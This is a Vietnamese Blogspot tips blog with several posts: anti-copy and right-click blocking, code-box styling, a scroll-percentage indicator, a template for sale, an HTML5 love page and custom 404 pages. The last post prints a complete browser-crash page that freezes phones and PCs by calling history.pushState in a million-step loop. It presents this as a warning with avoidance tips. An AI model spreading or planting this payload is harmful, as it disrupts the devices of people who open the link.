Thứ Tư, 20 tháng 9, 2017

Chống copy nội dung bài viết và click chuột phải trên Blogspot

Chống Copy, Pate và Click chuột phải trên Blogspot
Bạn không muốn cho người khác copy nội dung bài viết của bạn trên internet nhưng vẫn muốn chia sẻ một nội dung đó với mọi người thông qua mạng internet. Bài viết này sẽ hướng dẫn các bạn cách để chống mọi hành vi muốn sao chéo nội dung bài viết trên website của bạn thông qua việc chống quét khối (bôi đen) văn bản, chống click và vô hiệu hóa các tùy chọn trên menu chuột phải để chọn các tùy chọn như copy hay xem mã nguồn.


Mình từng giới thiệu cho các bạn cách chống copy, quét khối trên blogspot sử dụng mã javarscipt ves 1 tuy nhiên cách đó có nhược điểm là khi ta tắt javarscipt của trình duyệt thì có thể copy và quét khối bình thường. Cách hôm nay mình giới thiệu cho các bạn chống cả Click chuột phải. Lưu ý cách này chỉ áp dụng cho các trang tin tức là hợp lý thôi.

☼ Ưu điểm:

  • Chống Copy, Paste và Click chuột phải trên mọi trình duyệt.
  • Không sử dụng javarscip do vậy không lo ảnh hưởng đến tốc độ load của trang và đặc biệt là hoạt động tốt ngay cả khi bạn tắt javarscipt của trình duyệt (vượt trội so với style1)..

☼ Cách tiến hành:

1- Đăng nhập (login) vào Blog
2- Tải mẫu về lưu lại sau đó mới tiến hành các bước bên dưới nha (phòng khi các bạn làm nhầm sẽ gây thiệt hại rất lớn).
3- Vào Mẫu (Template)
4- Chọn Chỉnh sử HTML (Edit HTML)
5- Thay thế thẻ <body> thành đoạn code bên dưới:


<body oncontextmenu='return false' onmousedown='return false' onselectstart='return false'>
6- Bấm lưu Lưu

Cập nhật!

- Đối với các mẫu Simple của blogspot thì thẻ <body> có thể khác như:

<body expr:class='&quot;loading&quot; + data:blog.mobileClass'>

-Khi đó bạn thay nó thành đoạn code như sau:

<body expr:class='&quot;loading&quot; + data:blog.mobileClass' oncontextmenu='return false' onmousedown='return false' onselectstart='return false'>

Chúc thành công!

Với thủ thuật chống copy nội dung trên website này, chắc chắn sẽ giúp bạn phần nào bảo vệ được nội dung của mình trước những kẻ chuyên đi sao chép bài viết của người khác về làm của riêng mình. 

Nhưng Terocket cũng xin nhấn mệnh rằng, đây chỉ là biện pháp chống sao chép tặc tức thời, không mang giá trị lâu dài, vì nó sẽ ảnh hưởng đến trải nghiệm người dùng của bạn trên website nhé. Hãy tập trung vào chất lượng bài viết, hãy đóng dấu hình ảnh chẳng hạn, như vậy sẽ tốt hơn cho quá trình bạn phát triển website.

Thứ Ba, 19 tháng 9, 2017

Tạo khung chèn Code đẹp vào Blogger

Đối với những bạn bè là bogger của tôi thì họ đã quá thành thạo về việc chèn những đoạn code là HTML, Javascript, CSS và Jquery vào blogspot nhưng với một số bạn là beginner thì công việc này thật khó khăn và đoạn code của họ hiển thị vào bài viết trông thật "ngộ nghĩnh" và không đẹp mắt một chút nào cả.Ví dụ đoạn code như dưới đây của mình.


Trong bài viết này của mình một hướng dẫn nhỏ sẽ giúp bạn có được những khung hiển thị code một cách đơn giản mà đẹp độc đáo.


Và bây giờ bạn hãy làm theo những bước đơn giản dưới đây để có một khung hiển thị code hoàn hảo cho blog của bạn

1. Hãy vào Blogger.com → Blog của bạn → Teamplate → Edit HTML rồi copy và dán đoạn code bên dưới của mình vào trước thẻ ]]></b:skin> hoặc </style>
/* CSS Simple Pre Code */
pre {
    background: #fff;
    white-space: pre;
    word-wrap: break-word;
    overflow: auto;
}

pre.code {
    margin: 20px 25px;
    border: 1px solid #d9d9d9;
    border-radius: 2px;
    position: relative;
    box-shadow: 0 1px 1px rgba(0,0,0,.08);
}

pre.code label {
    font-family: sans-serif;
    font-weight: normal;
    font-size: 13px;
    color: #444;
    position: absolute;
    left: 1px;
    top: 16px;
    text-align: center;
    width: 60px;
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    pointer-events: none;
}

pre.code code {
    font-family: "Inconsolata","Monaco","Consolas","Andale Mono","Bitstream Vera Sans Mono","Courier New",Courier,monospace;
    display: block;
    margin: 0 0 0 60px;
    padding: 15px 16px 14px;
    border-left: 1px solid #d9d9d9;
    overflow-x: auto;
    font-size: 13px;
    line-height: 19px;
    color: #444;
}

pre::after {
    content: "double click to selection";
    padding: 0;
    width: auto;
    height: auto;
    position: absolute;
    right: 18px;
    top: 14px;
    font-size: 12px;
    color: #aaa;
    line-height: 20px;
    overflow: hidden;
    -webkit-backface-visibility: hidden;
    transition: all 0.3s ease;
}

pre:hover::after {
    opacity: 0;
    visibility: visible;
}

pre.code-css code {
    color: #0288d1;
}

pre.code-html code {
    color: #558b2f;
}

pre.code-javascript code {
    color: #f57c00;
}

pre.code-jquery code {
    color: #78909c;
}
2. Tiếp theo hãy lưu đoạn mã bên dưới phía trước thẻ </body>
<script type='text/javascript'>
//<![CDATA[
//Pre Auto Selection
$('i[rel="pre"]').replaceWith(function() {
    return $('<pre><code>' + $(this).html() + '</code></pre>');
});
var pres = document.querySelectorAll('pre,kbd,blockquote');
for (var i = 0; i < pres.length; i++) {
  pres[i].addEventListener("dblclick", function () {
    var selection = getSelection();
    var range = document.createRange();
    range.selectNodeContents(this);
    selection.removeAllRanges();
    selection.addRange(range);
  }, false);
}
//]]>
</script>
Các script function ở trên sẽ tự động chọn tất cả đoạn code trong bài viết của bạn mỗi khi người đọc double click vào khu vực được bao bọc bởi các thẻ wrapped, pre, tag, kbd, và blockquote. Sau đó lưu mẫu của bạn lại

3. Quay trở lại phần bài viết chuyển sang tab HTML và thêm những đoạn code phù hợp bên dưới vào mỗi phần bài viết của bạn.
<pre class='code code-html'><label>HTML</label><code>...Code HTML của bạn...</code></pre>

<pre class='code code-css'><label>CSS</label><code>...Code CSS của bạn...</code></pre>

<pre class='code code-javascript'><label>JS</label><code>... Code Javácript của bạn...</code></pre>

<pre class='code code-jquery'><label>Jquery</label><code>... Code Jquery của bạn...</code></pre>
Nếu bạn không thích backgroud của khung code màu trắng thì hãy thay đoạn CSS ở trên bài viết bằng đoạn CSS ở dưới đây.
/* CSS Simple Pre Code */
pre {
    background: #333;
    white-space: pre;
    word-wrap: break-word;
    overflow: auto;
}

pre.code {
    margin: 20px 25px;
    border-radius: 4px;
    border: 1px solid #292929;
    position: relative;
}

pre.code label {
    font-family: sans-serif;
    font-weight: bold;
    font-size: 13px;
    color: #ddd;
    position: absolute;
    left: 1px;
    top: 15px;
    text-align: center;
    width: 60px;
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    pointer-events: none;
}

pre.code code {
    font-family: "Inconsolata","Monaco","Consolas","Andale Mono","Bitstream Vera Sans Mono","Courier New",Courier,monospace;
    display: block;
    margin: 0 0 0 60px;
    padding: 15px 16px 14px;
    border-left: 1px solid #555;
    overflow-x: auto;
    font-size: 13px;
    line-height: 19px;
    color: #ddd;
}

pre::after {
    content: "double click to selection";
    padding: 0;
    width: auto;
    height: auto;
    position: absolute;
    right: 18px;
    top: 14px;
    font-size: 12px;
    color: #ddd;
    line-height: 20px;
    overflow: hidden;
    -webkit-backface-visibility: hidden;
    transition: all 0.3s ease;
}

pre:hover::after {
    opacity: 0;
    visibility: visible;
}

pre.code-css code {
    color: #91a7ff;
}

pre.code-html code {
    color: #aed581;
}

pre.code-javascript code {
    color: #ffa726;
}

pre.code-jquery code {
    color: #4dd0e1;
}


Thật đơn giản để bạn có những khung chèn code đẹp độc đáo phải không ạ. Chúc bạn thành công.

Nguồn : Đây

Chủ Nhật, 9 tháng 7, 2017

Hiển Thị Phần Trăm Khi Cuộn Trang


Hôm qua mình có chia sẻ trên J2TEAM Community về cái Template của mình , có bạn NEO NGUYEN đã hỏi mình về cách làm hiện phần trăm khi cuộn trang , cho nên hôm nay mình sẽ hướng dẫn các bạn để có thanh cuộn trang theo ý muốn.

Đầu tiên , các bạn chép đoạn css sau vào trước thẻ đóng ]]></b:skin> hoặc thẻ đóng </style>


#scroll {
  display:none;
  position:fixed;
  top:0;
  right:15px;
  z-index:500;
  padding:3px 8px;
  background-color:#369fcf;
  color:#fff;
  border-radius:3px;
  font-size:14px;  
}
#scroll:after {
  content: " ";
  position: absolute;
  top:50%;
  right:-10px;
  height:0;
  width:0;
  margin-top:-6px;
  border:6px solid transparent;
  border-left-color:#369fcf;
}
Tiếp theo các bạn tiếp tục dán đoạn html sau vào trước thẻ đóng </head>

<div id='scroll'></div>

Sau đó lại tiếp tục chép đoạn javascript sau và chép nó vào trước thẻ đóng </body>



<script type='text/javascript'>
//<![CDATA[
var scrollTimer = null;
$(window).scroll(function() {
   var viewportHeight = $(this).height(),
       scrollbarHeight = viewportHeight / $(document).height() * viewportHeight,
       progress = $(this).scrollTop() / ($(document).height() - viewportHeight),
       distance = progress * (viewportHeight - scrollbarHeight) + scrollbarHeight / 2 - $('#scroll').height() / 2;
    $('#scroll')
        .css('top', distance)
        .text(' (' + Math.round(progress * 100) + '%)')
        .fadeIn(600);
    if (scrollTimer !== null) {
        clearTimeout(scrollTimer);
    }
    scrollTimer = setTimeout(function() {
        $('#scroll').fadeOut(600);
    }, 1000);
});
//]]>
</script>

Bây giờ các bạn save tempale ( lưu ) lại.
Rồi các bạn Xem kết quả nhé ;)

Chúc các bạn thành công. 

Thứ Bảy, 8 tháng 7, 2017

Chia Sẻ Theme Bloger Kid1412

Trích lời tác giả:
"Theme Bloger Kid1412 Blog's là theme tự mình develop 100% , theme này mình lấy ý tưởng từ giao diện cũ của Juno_okyo's Blog , nói thật hồi ấy mình mê cái template của blogspot đó lắm , muốn một lần thử làm giống , nhưng lại mất ảnh đã chụp lại và tìm trên mạng cũng không thấy ảnh giao diện cũ của blogspot đó nữa , cái theme này mình develop lại trong 2 ngày. Mình cũng chả cần mua bán gì cái template này , chỉ mong bác bạn , các anh các chú các chị có dùng thì đừng xóa mấy dòng mình ghi để tôn trọng developer như mình là được . thôi không dài dòng vòng vo nữa .
Teamplate này của mình thích hợp cho các bạn làm trick , tin tức , trang cá nhân , thủ thuật bla bla.... Chúc các bạn dùng theme vui vẻ. Sau đây là 1 số hình ảnh của Template."


Trang ERROR :


Sitemap của blogs :


Thôi không dài dòng nữa , các bạn down Template ở dưới.


Pass giải nén : kid1412-it.blogspot.com

Chào bạn , hiện tại sau một thời gian phát hành, chia sẻ Template Kid1412 Blog's miễn phí thì hiện tại không còn chia sẻ miễn phí nữa , nếu bạn thấy Teamplate ẹp, hài lòng của bạn thì bạn có thể liên hệ Kid1412 Blog để mua Template Kid1412 Blog's .

Giá 300.000 VNĐ hỗ trợ full và update trong 12 tháng.

Bạn hãy liên hệ để được tư vấn, hỗ trợ thêm khi mua Template nhé:

1. Facebook: Nguyễn Nam Hồng.

2. Email: kaitokid1412.conan@gmail.com

3. Phone: 0944.899.663

Chủ Nhật, 30 tháng 4, 2017

HTML5 - Love Story


- Bạn muốn tạo một câu chuyện tình yêu sống động? Bạn muốn thể hiện tình cảm với người ấy? Câu chuyện tình yêu là một câu chuyện về tình cảm của một Desinger Trung Quốc.
*Chỉnh sửa: dịch tiếng việt, font, cốt truyện, tối ưu cho mọi xu hướng (team đề xuất) và HỔ TRỢ CHỈNH SỬA ONLINE.
Live Demo: http://love.giadinhnhatran.com
Code thuần túy: DOWNLOAD ( pass : kid1412 )
*Code này chỉ edit trong file được, không thể edit dạng online. Hổ trợ thay đổi Font, hình ảnh.
Chỉnh sửa online: https://love.giadinhnhatran.com/?edit=true
# Dành cho những người không biết chỉnh sửa file html, bạn vào link và nhấn vào một văn bản bất kỳ và edit chúng khi hoàn thành bạn nhấn vào "Tạo câu chuyện riêng" ở dưới màn hình. Khi đó bạn xuất hiên bảng khởi tạo, nếu bạn muốn thay đổi nhạc thì có copy link khác (nhớ bỏ .mp3 ra). Khi xử lý hoàn thành nó sẽ hiện ra link, bạn có thể gửi link cho người ấy hoặc tải trang về (đã được hổ trợ) "Sử dụng 'Lưu thành..'. trong bản chọn tắt của Chrome" rồi gửi file cho người ấy. (không hổ trợ Windows XP).
*File bạn tao sẽ được lưu vào hệ thống Nhật ký (Logs). Code của trang chỉnh sửa Online do tác giả cung cấp, tui phải sửa lại 2 trong 1 - vừa xem thuần túy được vừa chỉnh sửa được.
# Thật may mắn vì được tác giả tạo cho một ảnh riêng ở trong đó chính là Chòm sao Leo (Sư tử) - tui cung Sư tử. :3
# Share code nhớ để nguồn, tui phải làm liêng tục 6 tiếng để hoàn thành mã đấy :( (chủ yếu là PHP của web)
Tác giả: 求勾搭
Edit: Vy Nghia
Dịch: Mimi [秘密]
Đội ngũ BATeam hổ trợ.

Thứ Sáu, 11 tháng 3, 2016

404 Error Pages tuyệt đẹp dành cho Blogger

Mặc định thì khi người dùng nhập giá trị URL không hộp lệ thì trang 404 Error hoặc Page Not Found sẽ tự động xuất hiện để thông báo người dùng là họ đã nhập sai. Tuy nhiên những trang này thường được thiết kế đơn giản và không hấp dẫn cho lắm, vì thế hôm nay mình xin chia sẻ cho các bạn 6 mẫu hoàn toàn đẹp và riêng biệt, đủ để cho các bạn tha hồ lựa chọn.

Nếu các bạn chỉ muốn hiển thị thông báo hoặc là thay đổi nội dung thông báo trên màn hinh thì trước hết các bạn vào updated Blogger Interface rồi vào Setting->Search Preferences.
Ngược lại , nếu các bạn muốn màu sắc hơn thì lần lượt chọn các mẫu sau :


Mẫu số 1
404 error page1
Vào Setting->Search Preferences , rồi sau đó copy đoạn code bên dưới vào bên trong khu vực Custom Page Not Found.

<h2 style="font-size: 35px;margin: 0;text-align: center;">Oops..! </h2> <h3 style="font-size:17px;">Sorry,You are trying to reach an invalid page...!<br><a href="/">Click here</a> to go to Homepage <br> Have a nice Day...</h3><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiin6DsaJlPMVTdAxsZDnUmMh4-isTtMvt8LgMhx7zOQEW2aGo0n7g4kbsgljYSV_AFW1DTQ6dIcheAWIR3wRXL2dvrHY5hwUcJHIFBzuPG6UVxCybH7tK2viT3qZIqL8dhaQZtrR5Clno/s1600/404+error+page+1.jpg"/>
    

Mẫu số 2
404 error page 2
Làm tương tự như bước 1 , nhưng lần này là copy và dán với đoạn code bên dưới :

<h2 style="font-size: 35px;margin: 0;text-align: center;">Oops..! </h2> <h3 style="font-size:17px;">Sorry,You are trying to reach an invalid page...!<br><a href="/">Click here</a> to go to Homepage <br> Have a nice Day...</h3><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVi7k0zpv27xytWVUR4zAzIgeMmCCopQsrE4YRhtO9LbxHamRJMzL0mXCtJLaoNfMz96r5BkR5y8rKD7aF6a81aN7NdMbc7j8SjGqAJ3Gy4GJSG59v81a7gYpg5fnjLeozzjGuPUCPky0/s1600/404+error+page+2.jpg"/>
    
Mẫu số 3
404 error page 4
Với mẫu này, các bạn copy đoạn code sau :

<h2 style="font-size: 35px;margin: 0;text-align: center;">Oops..! </h2> <h3 style="font-size:17px;">Sorry,You are trying to reach an invalid page...!<br><a href="/">Click here</a> to go to Homepage <br> Have a nice Day...</h3><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio-3H28ZmMqkcvW-4eybwzcisKkIpaazRMpk-ROX4hdgWQQScEopOGpCaADvB6Rl1BqD_jVXlR8Vg7iZMoqfP5rFwFqawPwVaTs_3dtdAHO1sJipvGGyyZ_VxVUgAeWV_AwJfwfC-jXPc/s1600/404+error+page+4.jpg"/>
    
Mẫu số 4
404 error page 6
Các bạn copy đoạn code bên dưới để có được mẫu này :

<h2 style="font-size: 35px;margin: 0;text-align: center;">Oops..! </h2> <h3 style="font-size:17px;">Sorry,You are trying to reach an invalid page...!<br><a href="/">Click here</a> to go to Homepage <br> Have a nice Day...</h3><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRYX4aas66C5t96jSkEMbYFggnwjtgt8zTSXMhE-jmLMNfhgPI47Z3knLahtimn6M5hEsYs2v9PJoIrzy8v1BVuKX1SavE3b8QFg7rUVTSHFedWyA2NYeH1HcjLChpxh0nKvaR40TU7n0/s320/404+error+page+6.jpg"/>
    
Mẫu số 5
404 error page 7
Đoạn code sau sẽ tương ứng với mẫu này :

<h2 style="font-size: 35px;margin: 0;text-align: center;">Oops..! </h2> <h3 style="font-size:17px;">Sorry,You are trying to reach an invalid page...!<br><a href="/">Click here</a> to go to Homepage <br> Have a nice Day...</h3><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLmvWWhF2DJHInIScpSKWFe8Z9yM9Qhyphenhyphenk5YomHJfqEn-dpkVB2UGlNtuSwiFrZAanM5mfw2TeuhE4iSv_nL5CTfSzXo0pV-MIaEWJiGRNyWikgNgZOgK27K-QFfGIWI7Wa-4napO8_qQw/s1600/404+error+page+7.jpg"/>
    
Mẫu số 6
404 error page 3
Các bạn copy đoạn code này :

<h2 style="font-size: 35px;margin: 0;text-align: center;">Oops..! </h2> <h3 style="font-size:17px;">Sorry,You are trying to reach an invalid page...!<br><a href="/">Click here</a> to go to Homepage <br> Have a nice Day...</h3><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsk6x1WzxjEIDNvPKML5rl6Ky1SS4Aox85Sit3FfqAVqiwqWNPz86XYjSAgPPCUNpsI6x_1IB6O0aDB3huAFN-YE6Pw42SZdP13xpuNvMq192er3Ln9gTUuMPfjnh84Jy-9oV3NDmKgcw/s1600/404+error+page+3.jpg"/>
    
Hy vọng với những mẫu mà mình chia sẻ trong bài viết này, đủ sức để các bạn lựa chọn cho trang blog của mình, nếu các bạn có những mẫu nào khác, thì chia sẻ cho mình và mọi người khác biết dưới dạng comment nhé.

Thứ Ba, 1 tháng 3, 2016

Code Làm Treo Hàng Loạt Ứng Trình Duyệt Điện thoại và PC

Lưu Ý : Đây là bài hướng dẫn với mục đích học tập và đảm bảo an toàn website.Tôi không chịu trách nhiệm những hậu quả mà bạn gây ra Và Sau đây là cách hạn chế tối đa . không click vào bất kỳ link bậy mà không biết cho dù domain (tên miền,đia chỉ có đẹp đến đâu), kể cả link rút gọn đặc biệt link rút gọn google vì nó nó không phải bấm next trước khi vào web. cực kỳ nguy hiểm dạng link: https://goo.gl/ cái gì đấy thực hiện thao tác view-source: Link cái web Nếu ra code này thì né lẹ.
 Code đây :
<!DOCTYPE html>
<html>
    <body>
        <h1>Code treo máy By Kid1412</h1>
        <script>
            (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
                    (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
                    m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
                    })(window,document,'script','//www.google-analytics.com/analytics.js','ga');
                    ga('create', 'UA-60737367-1', 'auto');
                    ga('send', 'pageview');
                </script>
                <script>
                    var total = "";
                    for( var i = 0; i < 1000000; i++ ) {
                        total = total + i.toString();
                        history.pushState(0,0, total );                   }
                </script>
            </body>
        </html>
ở đây mình ví dụ là view-source: http://crashsafari.com/
Khi view source mà thấy url dẫn tới cái web nào thì cũng né lun. ko nó treo máy đấy . cẩn thận trước cơn bão khốn nạn của bọn trẻ ^^

Bài viết mới cập nhậtXem thêm

ALL SHARE CODEXem thêm

Thủ Thuật BlogspotXem thêm

Thủ Thuật FacebookXem thêm